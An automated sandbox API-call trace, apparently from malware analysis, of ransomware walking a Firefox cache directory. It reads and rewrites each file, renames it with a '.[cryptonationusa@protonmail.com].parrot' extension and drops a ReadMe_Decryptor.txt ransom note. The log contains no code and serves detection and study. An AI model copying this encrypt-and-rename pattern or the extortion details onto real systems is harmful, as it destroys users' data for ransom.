[0087.191] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.191] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.191] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.191] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.191] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0087.191] lstrcmpW (lpString1="10", lpString2=".") returned 1 [0087.191] lstrcmpW (lpString1="10", lpString2="..") returned 1 [0087.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x3178de0 [0087.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0087.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.191] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.192] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.194] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.194] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.194] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x534f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16A09d01", cAlternateFileName="")) returned 1 [0087.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d308 [0087.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.195] lstrcmpW (lpString1="16A09d01", lpString2="ReadMe_Decryptor.txt") returned -1 [0087.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.196] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x534f [0087.196] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5467, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.196] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.196] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.198] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.199] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x534f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x534f, lpOverlapped=0x0) returned 1 [0087.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0087.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0087.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0087.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0087.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x2252f38 [0087.200] GetLastError () returned 0x0 [0087.201] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0087.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0087.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0087.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0087.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0087.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.201] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0087.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c198 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c198 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178f08 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x31790f0 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x31793c0 [0087.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31790f0 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31797f8 [0087.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793c0 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x2252f38 [0087.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31797f8 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3178f08 [0087.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x2252f38 [0087.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x2254478 [0087.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2256440 [0087.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2254478 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2264258 [0087.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2256440 | out: hHeap=0x5b0000) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2252f38 [0087.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264258 | out: hHeap=0x5b0000) returned 1 [0087.204] WriteFile (in: hFile=0x278, lpBuffer=0x2252f40*, nNumberOfBytesToWrite=0x5468, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2252f40*, lpNumberOfBytesWritten=0x18e024*=0x5468, lpOverlapped=0x0) returned 1 [0087.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.206] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5467, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.206] CloseHandle (hObject=0x278) returned 1 [0087.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0087.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x223e470 [0087.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0087.206] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225c218 | out: hHeap=0x5b0000) returned 1 [0087.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0087.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69da28 [0087.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0087.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0087.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.212] GetFileType (hFile=0x278) returned 0x1 [0087.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x2252f38 [0087.223] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.223] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc14c1dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc14c1dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.223] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc14c1dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5468, dwReserved0=0x0, dwReserved1=0x0, cFileName="16A09d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="16A09D~1.PAR")) returned 1 [0087.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0087.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0087.224] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.224] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.224] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.224] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.224] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.224] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7dcaf10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x133d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24B53d01", cAlternateFileName="")) returned 1 [0087.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d308 [0087.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.224] lstrcmpW (lpString1="24B53d01", lpString2="ReadMe_Decryptor.txt") returned -1 [0087.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.226] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x133d5 [0087.226] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x134ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.226] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.226] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.227] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.227] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x133d5, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x133d5, lpOverlapped=0x0) returned 1 [0087.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0087.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0087.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0087.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0087.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x2252f38 [0087.229] GetLastError () returned 0x0 [0087.232] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0087.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0087.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0087.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0087.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0087.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0087.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c198 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c198 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178f08 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x31790f0 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x31793c0 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31790f0 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31797f8 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793c0 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22942d8 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31797f8 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3178f08 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22942d8 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x22942d8 [0087.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x2295818 [0087.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22942d8 | out: hHeap=0x5b0000) returned 1 [0087.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22977e0 [0087.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2295818 | out: hHeap=0x5b0000) returned 1 [0087.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x229a778 